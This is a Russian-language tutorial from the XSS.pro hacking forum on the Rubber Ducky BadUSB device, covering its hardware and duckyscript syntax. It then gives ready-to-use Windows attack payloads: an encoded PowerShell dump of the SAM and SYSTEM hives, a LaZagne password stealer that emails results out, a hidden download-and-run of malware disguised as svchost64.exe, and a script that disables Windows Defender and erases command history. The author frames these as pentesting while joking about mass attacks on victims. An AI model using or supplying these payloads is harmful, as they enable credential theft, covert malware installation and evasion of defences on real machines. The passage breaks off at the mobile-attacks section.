• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Rubber Ducky - Комбайн для Badusb атак!

Gufi

(L2) cache
Пользователь
Регистрация
12.07.2022
Сообщения
468
Реакции
819
Гарант сделки
3
Вступление

-Что такое BADUSB атака?.

-Кто такие hak5 и что в них за интересные проекты.

-Физический пентест и использование Badusb.



Смотрим уточку

-Распаковка и внешний вид девайса.

-Внутренности и микро платы.

-Принцип работы устройства.

-Первый запуск Rubber Ducky.

-Первые шаги в атаках.



Написание скриптов для кастомных атак

-Вкратце про duckyscript.

-Эмуляция нажатий клавиш.

-Таймауты и системные таймауты.

-Горячие клавиши и комбинации двух клавиш.

-Запись информации в переменную.

-Циклы в duckyscript.

-Операторы.

-Дополнительные функции языка от hak5.



Атаки на устройства

-Атаки на Windows/Linux

-Атаки на мобилки

-Атаки на роутеры

-Атаки на устройства с поддержкой физической клавиатуры.



Проводим пентест/физический пентест с помощью Rubber Ducky

-Настройка Rubber Ducky для атаки

-Атака на корпоративную сеть с помощью Rubber Ducky

-Массовые атаки на лоха



Итоги




Вступление

Всем привет друзья и враги , сегодня мы поговорим об таком векторе и виде атаки как Badusb , и об чудесном инструменте для проведения этих атак – Rubber Ducky!


Что такое BADUSB атака?
Badusb – вектор атаки на систему с помощью специального устройства которое эмулирует клавиатуру. Этот вектор атаки относиться к физическому пентесту. Устройство подключается к системе через USB порт , система принимает устройство за клавиатуру , и устройство начинает ввод системных команд на пользу злоумышленнику.

Атака основана на использовании механизмов, встроенных в большинство USB-устройств и на способности злоумышленника изменять программное обеспечение этих устройств.

Существует множество различных способов использования BADUSB атаки, однако наиболее распространенный подход заключается в создании вредоносного устройства, которое маскируется под легитимное USB-устройство, такое как флэш-накопитель или клавиатура. Злоумышленник может разместить на таком устройстве вредоносное ПО, которое будет выполняться на целевой системе при подключении к ней.

Одним из примеров использования BADUSB атак является замена стандартного USB-кабеля на флэш-накопитель, содержащий вредоносное ПО. При подключении такого устройства к компьютеру, вредоносное ПО может автоматически выполняться и заражать систему. Злоумышленник также может использовать BADUSB атаку, чтобы получить удаленный доступ к компьютеру, введя на него свой вредоносный скрипт с помощью маскированного USB-устройства.

Одним из самых распространенных видов устройств для проведения BADUSB атак является Rubber Ducky, созданный командой hak5. Rubber Ducky эмулирует клавиатуру и позволяет написать скрипты на языке duckyscript для выполнения различных вредоносных действий на целевой системе при подключении к ней.

Такое устройство можно и сделать самому , например в моей статье “Делаем Badusb из arduino” https://xss.pro/threads/76979/ , где мы делали устройство для Badusb атак из простой платы ардуино Arduino micro pro за 3$ с алика.



Кто такие Hak5 и что в них за интересные проекты
Hak5 - компания которая занимается разработкой и производством различных устройств и программного обеспечения для проведения пентеста (тестирования на проникновение) и для кибербезопасности.

Компания была основана в 2005 году, и изначально специализировалась на создании видео-подкастов, посвященных темам кибербезопасности. В настоящее время, Hak5 также производит и продает устройства для пентеста.

Компания hak5 известна своими проектами в области кибербезопасности, такими как Rubber Ducky, WiFi Pineapple и Shark Jack.

Идея создания Rubber Ducky возникла в 2010 году, когда основатель hak5 Даррен Киттингс рассматривал возможности использования USB-устройств для проведения атак.

Первый прототип Rubber Ducky был создан в 2011 году. В основе устройства лежал микроконтроллер ATmega32U4, который предоставлял возможность эмулировать клавиатуру и автоматически вводить текст на компьютере при подключении через USB-порт.

За несколько лет команда hak5 улучшила устройство, добавив поддержку языка duckyscript для написания скриптов, которые можно было использовать для выполнения различных вредоносных действий на целевой системе. Также в новой версии Rubber Ducky добавили type c ,

который можно использовать для атак на мобильные устройства и кнопку с индикатором для управления платой и просмотром статуса атаки.



Некоторые устройства от Hak5:

Rubber Ducky
1683741218553.png




BASH BUNNY
1683741238076.png





SHARK JACK
1683741255176.png





WIFI PINEAPPLE
1683741906270.png






Физический пентест и использование Badusb
Физический пентест – тестирование на проникновение в реальный физический комплекс или здание. При физическом пентесте тестируют охрану , систему наблюдения , и систему защиты от посторонних.

Физический пентест довольно актуален при этапе “проникновение в локальную сеть”. Одним из методов физического пентеста является "бросание флешки", при котором специалист по безопасности оставляет специально подготовленную флешку в зоне доступа к системе, которую необходимо проверить. Если кто-то вставляет флешку в свой компьютер, это может привести к заражению компьютера вредоносной программой.

Еще один метод - это проверка защищенности зданий и помещений. Пентестеры могут попытаться взломать замки или проникнуть в помещения, где хранятся конфиденциальные данные или важное оборудование.

В целом, физический пентест направлен на проверку безопасности объектов изнутри, включая системы, здания и процессы. Это может помочь выявить уязвимости, которые не могут быть обнаружены с помощью других методов тестирования.


Можно выделить три основных этапа физического пентеста:

  1. Определение целей
  2. Разведка и подготовка
  3. Исполнение


Когда мы проникли в здание или в нужную нам локацию (офис , серверная , склад) мы можем использовать Rubber Ducky для автоматизации быстрых действий на пк , например: скрытая установка мальваря , дамп учетных данных пк , захват учетной записи и т.д.

Имея этот прекрасный девайс мы можем захватить целую сеть , только одним махом руки - запхать флешку в порт USB нашей цели. Об реализации этого поговорим в главе “Атака на корпоративную сеть с помощью Rubber Ducky” , а пока что нам нужно изучить сам девайс , и написать подходящий скрипт для правильной роботы устройства.

Использование такого девайса во время физического пентеста , можно увидеть в сериале мистер робот , когда команда элиота разбросала такие устройства под видом простых USB накопителей.

Тем самым , провокация любопытного пиндоса прошла успешно) он засунул “флешку” в USBпорт на своем пк , тем самым установил мальварь на пк. Далее по сюжету они заразили целую сеть , и потом еще происходили много внеземной хрени) Не суть…

Если смотреть с точки анализа проблемы на эту ситуацию – мы можем понять , что социальная инженерия – всему голова , ведь самое уязвимое место в системе - это кожаные мешки мяса)



Смотрим уточку
Распаковка и внешний вид девайса

Я заказал устройство с офф сайта - https://shop.hak5.org/products/usb-rubber-ducky

Мне пришла новая Rubber ducky (второй ревизии) в синем конверте , вышло очень креативно , Hak5 постарались над дизайном.
1683741286908.png

В конверте было:

Rubber Ducky
1683741310526.png
1683741320179.png
1683741331898.png


Главное в упаковке , устройство которое напоминает обычную флешку , имеет USB type A и USB type C выходы.

Устройство имеет черный пластиковый корпус , который очень царапается при разборке корпуса) так что будьте с ним аккуратно) также железная крутилка , которая закрывает выход USB.



Наклейки
1683741340991.png

Стикеры от Hak5 , три капельки которых нету) используются для модификации , об этом поговорим в следующей главе.



Визитка
1683741348182.png
1683741354234.png


Красивая визитка с описанием вида устройства и линками на туториалы и мануалы по использованию устройства.





Разборка

  • Разжимаем пальцами железку.
  • Снимаем заглушку для второго порта USB type C.
  • Ногтем или тонким острым предметом раскрываем пластиковые части корпуса.


Теперь мы можем увидеть голую Badusb , как не странно , плата не очень похожая на плату флешки)
Это логично , ведь тут у нас целый процессор для отработки скриптов
1683741365757.png



Внутренности и плата

1683741378857.png
1683741386559.png


-Микроконтроллер (например, ATmega32u4)

-USB-коннектор type A

- USB-коннектор type C

-Память (например, EEPROM или флэш-память)

-Кнопка

-Светодиод

-HID контроллер



Микроконтроллер

Микроконтроллер (Процессор) – главная часть на плате , отрабатывающая запросы от других железок на плате , и заставляющая эти железки логично работать.

На новой ревизии стоит процессор Atmel 32UC3B1512



USB-коннектор type A

USB-коннектор type A – простой USB выход , для того чтобы устройство можно было подключить к пк, или к другим портам через адаптер типа:

-USB type A – USB type C

-USB type A – USB type B

-USB type A – Lightning



USB-коннектор type C

USB-коннектор type C - спецификация USB для универсального компактного двухстороннего 24-контактного разъёма для USB-устройств и USB-кабелей.

Порт для этого коннектора , в последнее время начали пихать повсюду… Мобилки , ноуты , телики , да даже бля тостеры!



Память

Устройство использует блок памяти , для сохранения байтов данных , которые должен отработать процессор.

Также возле коннектора USB type C мы можем увидеть слот для Micro SD карты , на ней можно держать готовые скрипты.

В комплекте идет Micro SD карта на 128мб , не очень много но для начала пойдет.

При переходе устройства в режим накопителя (по дефолту нужно просто нажать на кнопку которая находиться на плате.) мы можем увидеть в проводнике нашу Micro SD карту , туда мы и будем заливать готовые .bin скрипты.



Кнопка

По дефолту кнопка вводит устройство в режим накопителя , тем самым если мы хотим закинуть или изменить , удалить скрипт который установлен на Micro SD карту , пихаем устройство в USB порт , и быстро нажимаем кнопку.

Также функцию назначения кнопки можно изменять , вписав специальную функцию кода на языке duckyscript в .bin файл , который будет закинут на Rubber Ducky. Об этом мы поговорим в разделе про duckyscript.

Но есть одна проблема - кнопку не видно и не возможно нажимать когда Rubber Ducky в корпусе. Hak5 придумали решение проблемы – стикеры , помните я говорил про три стикера которых не было в стикер паке? Так вот , они в обратной стороны корпуса.

Иза того что корпус пластиковый , он прогибается а если на корпусе напротив кнопки налепить наклейки , мы сможем кликать на кнопку не разбирая корпус. Потому что корпус на котором несколько слоев стикеров будет давить на кнопку.

Силу нажатия можно регулировать количеством слоев стикеров , я поставил 3 , для меня это золотая середина.
1683741405794.png





Светодиод

Светодиод на плате предназначен для уведомления об статусе атаки.

Мигающий зеленый свет – скрипт работает, атака в процессе.

Зеленый свет – пауза , атака закончилась.

Красный цвет - Не найден файл inject.bin в корневом каталоге SD-карты или отсутствует SD-карта

Также с помощью функции в коде скрипта , можно изменять цвет индикатора , частоту мигания и еще много другого , это мы обсудим также в разделе про duckyscript.



HID контроллер

HID контроллер – один из главных модулей на плате , он отвечает за ввод команд на устройстве жертвы.

Также этот модуль в новых версиях Rubber Duckyс помощью новой функции в duckyscript умеет подменять HID идентификаторы , тем самым представляя себя устройству за такие HID аксессуары как клавиатура или накопитель.



Первый запуск Rubber Ducky

Открыли мы упаковку… посмотрели мы и внутри и снаружи…

Значит теперь пришло время проникновения)))



После того как вставили Rubber Ducky в USB порт , в проводнике у нас появиться новое устройство – накопитель.

Перейдя в накопитель мы увидим папку с документацией.
1683741422425.png


Теперь сохраняем себе эту папку на пк , и полностью удаляем все файлы с накопителя Rubber Ducky.



Принцип работы устройства

Когда вы подключаете Rubber Ducky к компьютеру, он распознается как устройство USB HID (Human Interface Device). Это позволяет Rubber Ducky эмулировать клавиатуру и мышь, и отправлять команды на ваш компьютер.

После того, как вы запускаете скрипт на Rubber Ducky, микроконтроллер на плате начинает обрабатывать команды и преобразовывать их в последовательность символов, которые эмулируются как нажатия клавиш на клавиатуре.

Далее эти символы отправляются на компьютер и там происходят уже заранее записаны в .bin файл команды.



Пройдемся по каждому этапу:

1.Создание скрипта с алгоритмом атаки

Для написания и конвертации скриптов на языке программирования есть вебсайт – текстовый редактор Payload studio. Редактор сделала сама компания Hak5 и в нем возможно писать только на duckyscript.

Переходим на https://payloadstudio.hak5.org/community/
1683741436775.png


Перед собой мы увидим текстовый редактор , сюда пишем свой код на duckyscript.



2.Конвертирование скрипта в .bin файл

Написав нужный нам код , нажимаем на кнопку Generate Payload , снизу слева.
1683741453279.png

Редактор сгенерировал нам готовый .bin файл с скриптом. Нажимаем кнопку Download , и скачиваем файл прямо из браузера.



3.Установка скрипта на модуль памяти Rubber Ducky

После подключения Rubber Ducky к пк , нажимаем кнопку на плате , чтобы перевести устройство в режим флэш накопителя.

Еще можно разобрать корпус Rubber Ducky , аккуратно вынимаем Micro SD карту из слота , и вставляем в пк.

Теперь в проводнике мы увидим новый накопитель , теперь сюда закидываем скаченный из браузера файл , файл обязательно должен иметь название inject.bin

(В накопителе Rubber Ducky должен быть только один файл – inject.bin)



4.Атака типа Badusb

После того как мы закинули файл inject.bin с нашим скриптом на Rubber Ducky , мы можем приступать к атакам.

Для проведения атаки , стоит просто уточке войти в любой USB порт , тогда при получении напряжения Rubber Ducky начнет атаку.

Помним – если хотим вставить утку в свой пк чтобы изменить/удалить скрипт , тогда либо вынимаем Micro SD карту из слота ,и далее работаем с ней в проводнике , либо после того как вставили утку , быстро нажимаете кнопку на плате для перехода в режим накопителя.



Первые шаги в атаках

После ознакомления с чудо девайсом , поговорим об атаках.

Атаки можно проводить на всех устройствах , которые поддерживают ввод информации физической клавиатуры.

Большинство атак происходит через алгоритм:

-открой командную строку

-Введи мою команду (скачай мой файл , или выполни код)

Еще Badusb можно использовать для брутфорса , например:

-брутфорс входа в систему (windows/Linux)

-брутфорс ПИН-кода , пароля мобильника (Android , IOS)

Когда мы проводим атаку на системе windows , для ввода команд , лучше использовать PowerShell.

Где взять готовые скрипты?

Готовые сборники скриптов на языке duckyscript вы сможете найти на Github , эти скрипты в народе называют payload.

Несколько репозиториев с ducky script payload-ами.

- https://github.com/hak5/usbrubberducky-payloads

- https://github.com/topics/ducky-payloads

- https://github.com/FalsePhilosopher/badusb



Написание скриптов для кастомных атак
Вкратце про duckyscript

duckyscript - это язык программирования, который используется для написания скриптов для Rubber Ducky.

duckyscript позволяет написать скрипт, который будет имитировать нажатия клавиш на клавиатуре компьютера, а также другие действия, такие как задержки, нажатия на комбинации клавиш и запуск программ.

Также в новой версии duckyscript , Hak5 добавили много крутых функций в свой ЯП , например:

- Изменение режима атаки. HID, STORAGE , OFF

-Подмена идентификатора HID

-Определение атакуемой ОС

-Управление внутренним хранилищем

На вид ,код на языке duckyscript это набор команд и клавиш которые должен отработать процессор Rubber Ducky и отправить сигнал на HID модуль.

Но это не до конца так , когда начнете углубляться в изучение этого языка программирования , поймете что тут есть и запись данных в переменные , и логические операторы , и циклы , и функции и много всего интересного!



Перед изучением синтаксиса , запомните несколько базовых функций:

REM – комментарий в коде , при отработке скрипта интерпретатор будет игнорировать текст в строке после REM.

REM это строчка в которой этот текст будет комментарием



DELAY – это функция задержки , паузы между выполнением команд.

DELAY <время в мс>

Минимальное значение задержки равно 20.

В среднем , для адекватной роботы кода советую ставить значение задержки 100

Если атакуемая машина очень тормозит или имеет старое железо , значит значение задержки должно быть больше чтобы код сработал правильно.

В таком случае задержку ставим 800.



Эмуляция нажатий клавиш

Одной из главных функций этого языка программирования есть эмуляция нажатий клавиш.



STRING

STRING – функция которая используется для ввода текста как будто он вводится с клавиатуры.

Синтаксис и примеры:

Код:
STRING ls
STRING Hello world!


Представьте что прямо сейчас вы ввели текст Hello world на клавиатуре никуда не входив и не выходив.

Это и сделает строка STRING Hello world!



STRINGLN

Также одной из разновидностей функции STRING есть функция STRINGLN

Разница между этими функциями в том что функция STRINGLN после ввода нам нужного текста нажимает Enter.

Синтаксис и примеры:

Код:
STRINGLN ls

Если у себя на пк c линуксом открыть консоль и вставить Rubber Ducky с этим скриптом , тогда у нас отработается команда ls , и мы увидим все файлы в текущей директории.



ENTER , ESCAPE , PAUSE , BREAK , Fx

Для эмулирования нажатия таких системных клавиш как:

-ENTER

-ESCAPE

-PAUSE

-BREAK

-F1 F2 F3 F4 F5 F6 F7 F8 F9 F0 F11 F12

Есть также готовые функции , и это просто название клавиши только с КАПСЛОКОМ.

Например , 2 строки:

Код:
STRING LS

ENTER

Заменяют строку STRINGLN , или наоборот.



SHIFT, ALT, CONTROL CTRL, COMMAND, WINDOWS

Для эмулирования нажатия таких клавиш как:

-SHIFT

-ALT

-CONTROL CTRL

-COMMAND

-WINDOWS GUI

Есть также готовые функции , и это просто название клавиши только с КАПСЛОКОМ.

GUI это в большинстве случаев клавиша WIN (Windows) , и самая популярная связка этой клавиши с другой , это win + r (выполнить)

Когда нам надо эмулировать комбинацию из двух клавиш , нам надо писать строку таким способом:

GUI r

REM эта строка открывает окошко выполнить когда атакуемая система windows

По такому принципу работают все комбинации.

Несколько популярных комбинаций на заметку:

Код:
GUI r

BACKSPACE

CTRL a

CTRL c

CTRL v

ALT F4


CAPSLOCK, NUMLOCK , SCROLLLOCK

Для использования (ввода текста) через эти клавиши , в коде пишем название клавиши , и тогда она будет включена в нашей виртуальной клавиатуре.

Примеры:

Код:
ATTACKMODE HID STORAGE

DELAY 2000

CAPSLOCK

STRING abc123XYZ





Таймауты

Команда DELAY в языке duckyscript используется для задержки выполнения следующей команды на определенное количество времени.

Это может быть полезно, если вы хотите создать задержку между командами или задержать выполнение следующей команды до тех пор, пока не завершится предыдущая команда.

Синтаксис команды DELAY:

DELAY [время в миллисекундах]

Например, чтобы задержать выполнение следующей команды на 3 секунды, необходимо ввести команду DELAY 3000 (3 секунды = 3000 миллисекунд).

DELAY 5000

REM Задержка 5 секунд

В этом примере мы используем переменную DELAY, которую предварительно задали в скрипте, чтобы задержать выполнение следующей команды на 5 секунд.

Задержки могут быть полезными в том случае, если вы хотите, чтобы выполнение скрипта было более реалистичным и не выглядело как автоматическое действие. Например, если вы создаете скрипт для взлома пароля, то можно добавить небольшие задержки между набором символов, чтобы скрипт выглядел более естественно и не вызывал подозрений. Однако, учтите, что слишком большие задержки могут привести к тому, что выполнение скрипта займет слишком много времени.



Горячие клавиши и комбинации двух клавиш

Комбинации клавиш помогут нам работать с атакуемой системой быстрее , ведь множество ОС имеют свои горячие клавиши для удобного и быстрого взаимодействия с системой.

Комбинация с помощью пробела

Примеры:

Код:
GUI r

CTRL a

CTRL c

CTRL v

ALT F4

Комбинация с помощью –

Примеры:

Код:
CTRL-ALT

CTRL-SHIFT

ALT-SHIFT

COMMAND-CTRL

COMMAND-CTRL-SHIFT

COMMAND-OPTION

COMMAND-OPTION-SHIFT




Запись информации в переменную

Также в языке программирования duckyscript можно использовать переменные.

Переменные - это именованные контейнеры для хранения значений в duckyscript.

Они используются для упрощения написания скрипта и повышения его гибкости.

Переменные содержат целые числа без знака со значениями в диапазоне от 0 до 65535. Логические значения могут быть представлены ключевыми словами TRUE и FALSE или любым ненулевым целым числом для значений true и 0false.

Все переменные имеют глобальную область видимости — это означает, что на них можно ссылаться в любом месте полезной нагрузки.

VAR

VAR – функция которая позволяет создавать переменные и работать с ними.

Чтобы создать переменную с помощью функции VAR , пишем следующую строку:

VAR $A = 1337

Это значит что мы создаем переменную с именем A и помещаем туда такую информацию как число 1337

DEFINE

DEFINE – функция которая позволяет создавать локальные переменные.

Чтобы использовать ее для замены данных пишем такую строчку:

DEFINE FOO Hello, World!
1683741496113.png


Это можно перевести на человеческий язык как:

Замени словом FOO слово Hello , World!

Применим на практике такой код:

Код:
DEFINE FOO Hello, World!

GUI r

DELAY 500

STRING FOO

Запустив его на атакуемой машина под управлением ОС windows , строка STRING FOO напишет не FOO , а то значение которым мы заменили слово FOO , в нашем случае это значение Hello world!





Циклы в duckyscript

Цикл в программировании – функция , которая позволяет повторять какое то действия , зависимо от условия и количества повторений.

WHILE

Цикл WHILE в duckyscript используется для повторения действий.

Конструкция кода с циклом WHILE будет построена так:



WHILE (<условие>)

<действие которое будет повторятся>

END_WHILE



Пример кода duckyscript с использованием цикла WHILE:

REM код в цикле 15 раз мигает светодиодом на плате

Код:
VAR $FOO = 15

WHILE ( $FOO > 0 )

LED_G

DELAY 500

LED_OFF

DELAY 500

$FOO = ( $FOO - 1 )

END_WHILE

LED_R



Этот код в цикле , 15 раз мигает светодиодом , разберем детально.

-строка VAR $FOO = 15 значит что мы присвоили переменной FOO значение 15

-строка WHILE ( $FOO > 0 ) значит , отрабатывать цикл пока значение переменной FOO не станет меньше 0

-строка $FOO = ( $FOO - 1 ) минусует каждый раз число 1 от значения переменной FOO

Тем самым начальное значение переменной FOO 15 , а после того как цикл прошел ,коло значение уже 14 , так весь код уменьшает значение пока оно не станет меньше 0.





Операторы

Условные операторы в программировании – правила кода , которые исполняют код если условие ровно True.

Перейдем к коду.

Конструкция условного оператора IF:

IF (<условие>) THEN

<код который будет выполнятся если условие правильное>

END_IF

Теперь посмотрим на код со стороны адекватного человека)))

Переводим код на понятный человеческий язык:

Если (<условие такое то>) тогда

Сделай то

Конец алгоритма

Конструкция условного оператора IF – ELSE:

Добавляя в алгоритм условный оператор ELSE , мы можем заставить код обрабатывать несколько условий и проверять их работоспособность.

Если первое условие не было выполнено , тогда проверь второе условие , и если оно правильное , выполни код.

Конструкция кода:

IF (<условие>) THEN

<код который будет выполнятся если условие правильное>

ELSE IF (<условие>) THEN

<код который будет выполнятся если условие правильное>

END_IF



Переводим код на понятный человеческий язык:

Если (<условие такое то>) тогда

Сделай то

Иначе(<условие такое то>) тогда

Сделай то

Конец алгоритма



Дополнительные функции языка от Hak5

Определение Операционной системы

Для определения атакующей операционной системы, в duckyscript добавили специальную функцию.

Импорт функции:

EXTENSION OS_DETECTION



Управление кнопкой и присвоение ей функций

Готовые алгоритмы роботы кнопки:

Код:
WAIT_FOR_BUTTON_PRESS

STRING Press the button...

WAIT_FOR_BUTTON_PRESS

STRING The button was pressed!



Код:
BUTTON_DEFBUTTON_DEF

BUTTON_DEF

STRING The button was pressed!

STOP_PAYLOAD

END_BUTTON



Код:
DISABLE_BUTTON

BUTTON_DEF

STRING This will never execute

END_BUTTON

DISABLE_BUTTON

STRING The button is disabled

WHILE TRUE

STRING .

DELAY 1000

END_WHILE


Код:
ENABLE_BUTTON

BUTTON_DEF

STRINGLN The button was pressed!

STRINGLN Continuing the payload...

END_BUTTON



Код:
WHILE TRUE

DISABLE_BUTTON

STRINGLN The button is disabled for the next 5 seconds...

STRINGLN Pressing the button will do nothing...

DELAY 5000



Код:
ENABLE_BUTTON

STRINGLN The button is enabled for the next 5 seconds...

STRINGLN Pressing the button will execute the button definition...

DELAY 5000

END_WHILE



$_BUTTON_ENABLED

IF ($_BUTTON_ENABLED == TRUE) THEN

REM The button is enabled

ELSE IF ($_BUTTON_ENABLED == FALSE) THEN

REM The button is disabled

END_IF



$_BUTTON_USER_DEFINED

IF ($_BUTTON_USER_DEFINED == TRUE) THEN

REM Pressing the button will run the user defined BUTTON_DEF

END_IF



$_BUTTON_PUSH_RECEIVED

REM Example $_BUTTON_PUSH_RECEIVED

STRING PUSH BUTTON N times within 5s

$CD = 15

WHILE ($CD > 0)

IF ($_BUTTON_PUSH_RECEIVED == TRUE) THEN

STRINGLN Passed

$_BUTTON_PUSH_RECEIVED = FALSE

END_IF

$CD = ($CD - 1)

STRING .

DELAY 200

END_WHILE

$_BUTTON_ENABLED = TRUE

$_BUTTON_PUSH_RECEIVED = FALSE



Управление LED индикатором

Как мы помним , у индикатора на плате есть 3 режима цвета и мигания.

Мигающий зеленый свет – скрипт работает, атака в процессе.

Зеленый свет – пауза , атака закончилась.

Красный цвет - Не найден файл inject.bin в корневом каталоге SD-карты или отсутствует SD-карта

Также с помощью специальных функций языка duckyscript , мы можем изменять цвет индикатора и частоту мигания.



LED_OFF

Это функция которая отключает свечение индикатора.

Чтобы отключить индикатор , добавьте в код строку:

LED_OFF



LED_R

Эта функция изменяет цвет свечения индикатора на красный.

Для использования в коде , пишем:

LED_R


LED_G

Эта функция изменяет цвет свечения индикатора на зеленый.

Для использования в коде , пишем:

LED_G



Вот и закончили мы мучительное путешествие по недрам программирования и скучного и непонятного процесса взаимосвязи кода и физических модулей Rubber Ducky.

Но за то поняли на что возможна уточка и ее язык программирования duckyscript.

В следующим разделе мы будем разбирать атаки на разные устройства , такие как пк , телефон , роутер. С помощью знаний которые мы получили от моего нудного материала с кодами)



Атаки на устройства
Атаки на Windows/Linux

Имея физический доступ к атакуемом ПК ,под управлением такой операционной системы как Windows или Linux , мы можем делать очень многое.

Самые популярные векторы атак на операционные системы Windows/Linux с помощью Rubber Ducky:

Дамп данных – к этому вектору относятся такие дампы информации как: дамп хэшей админов , дамп сохраненных wifi паролей , и дамп паролей Chrome.​
Информация сохраняется на внутреннем накопителе Rubber Ducky.​
Автоматизация действий злоумышленника – получив доступ к системе , на основе знаний которые мы получили в 3 главе , будем писать скрипт для автоматизации действий на атакуемом ПК.​
Приоритет атак в Badusb в том – что это очень быстро и тихо , то есть атака привлекает мало внимания.​
Суть Badusb атаки-, быстро выполнить алгоритм действий который написанный в скрипте.​
Скрытая установка и запуск файлов – один из самых главных векторов атак – скачать и запустить файл на атакуемой системе , вставив только “флешку” в USB порт на 5 секунд)​
Установка и запуск файла осуществляется через консоль PowerShell. Мы же все понимаем , что во время пентеста злоумышленник не будет скачивать на атакуемую систему Need for Speed most wanted , или крякнутую версию Windows office.​
Пентестер использует такие полезные нагрузки как meterpreter , или RAT программы.​
Отключение Windows Defender , добавление файла в исключения антивируса (только для Windows)– также имея доступ к командной строке PowerShell от имени администратора системы , мы можем изменять настройки Firewall и антивируса Windows Defender.​
Мы можем его полностью отключить , или добавить скачанный файл в исключения антивируса , чтобы внезапное отключение антивируса не привлекло внимания админа.​



Пишем свой скрипт на duckyscript для атак на Windows/Linux

Дампим учетные данные и хэши админов:

Код:
DELAY 500

ATTACKMODE HID STORAGE

DELAY 1000

GUI r

DELAY 1000

STRING powershell Start-Process powershell -Verb runAs

DELAY 1000

CTRL-SHIFT ENTER

DELAY 1000

DELAY 1000

STRING powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAARAB1AGMAawB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACIAJABQAFcARABcAEQAdQBjAGsAeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABEAHUAYwBrAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEQAdQBjAGsAeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAYQBtADsAZQB4AGkAdAA=

DELAY 500

STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit

Скрипт тянет учетные данные системы и хэш – пароли администраторов системы.

Сохраняет эти данные в архив в внутренний накопитель Rubber Ducky.



Дампим сохраненные пароли на устройстве

Код:
REM TITLE "Hasta lasagna!"

REM AUTHOR m4ki3lf0

REM TARGET Approved on Win10, Probably working on Win11

REM DESCRIPTION This will download the password exfiltration script (your modified version for your preferred exfiltration method), download execute lazagne.exe save result to a file and send it to yourself

REM VERSION 1.0

DEFAULT_DELAY 300

DELAY 1000

GUI r

STRING powershell -exec bypass -NoP

DELAY 1000

CTRL SHIFT ENTER

DELAY 1000

LEFT

ENTER

DELAY 1000

STRING powershell (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/m4ki3lf0/BadUsbScripts/main/PasswordExfiltration/PasswordExfiltration.ps1')

ENTER



1.Скачиваем файл https://raw.githubusercontent.com/m...PasswordExfiltration/PasswordExfiltration.ps1

2.В этих сроках пишем свою почту и smtp сервер.
1683741556189.png


3.поднимаем файл PasswordExfiltration.ps1 на общедоступный сервер

4.В коде скрипта duckyscript в предпоследней строке вводим путь к файле на серваку.



Скрытая установка и запуск файла

Код:
GUI r

DELAY 500

STRINGLN powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile(<ip>,\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\")

<ip> заменить на ip сервера на котором лежим файл , файл назовите svchost64.exe

Скрипт используя PowerShell , в тихом режиме устанавливает ваш файл с сервера и запускает.



REM VERSION 1.0

REM Author HackingMark

REM Disables Tampering Protection and Kills Windows Defender on Win 22H2

REM Tested on German Computers

REM Uncomment DISABLE_WINDOWS_DEFENDER() or RESTORE() at the end to use it within the Extension or call it later in your Payload.





REM Attack Commands for disabling RTP and Defender with (T)/without(F) clearing or (R) Restore

DEFINE ATTACK_F Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; exit;

DEFINE ATTACK_T Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;

DEFINE ATTACK_R Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; exit;

DEFINE ATTACK_RC Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;



REM Change the Term for "Windows-Securitycenter" for your Target Language here:

DEFINE TERM_WIN_SEC_CENTER Windows-Sicherheit

REM CLEAN = TRUE deletes PS History, set to FALSE to run Payload without deleting History

VAR $clean = TRUE



ATTACKMODE HID

DELAY 2000

FUNCTION DISABLE_WINDOWS_DEFENDER()

GUI s

DELAY 500

STRINGLN TERM_WIN_SEC_CENTER

DELAY 500

ENTER

TAB

TAB

TAB

TAB

ENTER

DELAY 500

TAB

TAB

TAB

TAB

SPACE

DELAY 500

ALT j

DELAY 500

ALT F4

DELAY 1500

GUI x

DELAY 100

STRING a

DELAY 500

ALT j

DELAY 500

IF ($clean == TRUE) THEN

STRINGLN ATTACK_T

ELSE

STRINGLN ATTACK_F

END_IF



END_FUNCTION



FUNCTION RESTORE()

GUI x

DELAY 100

STRING a

DELAY 500

ALT j

DELAY 500

IF ($clean == TRUE) THEN

STRINGLN ATTACK_RC

ELSE

STRINGLN ATTACK_R

END_IF

END_FUNCTION



REM Uncomment the Mode you want to use:

REM DISABLE_WINDOWS_DEFENDER()

REM RESTORE()

Скрипт отключает Windows Defender на атакуемой системе.


Атаки на мобилки

Rubber Ducky также работает с мобильными устройствами (телефоны планшеты)

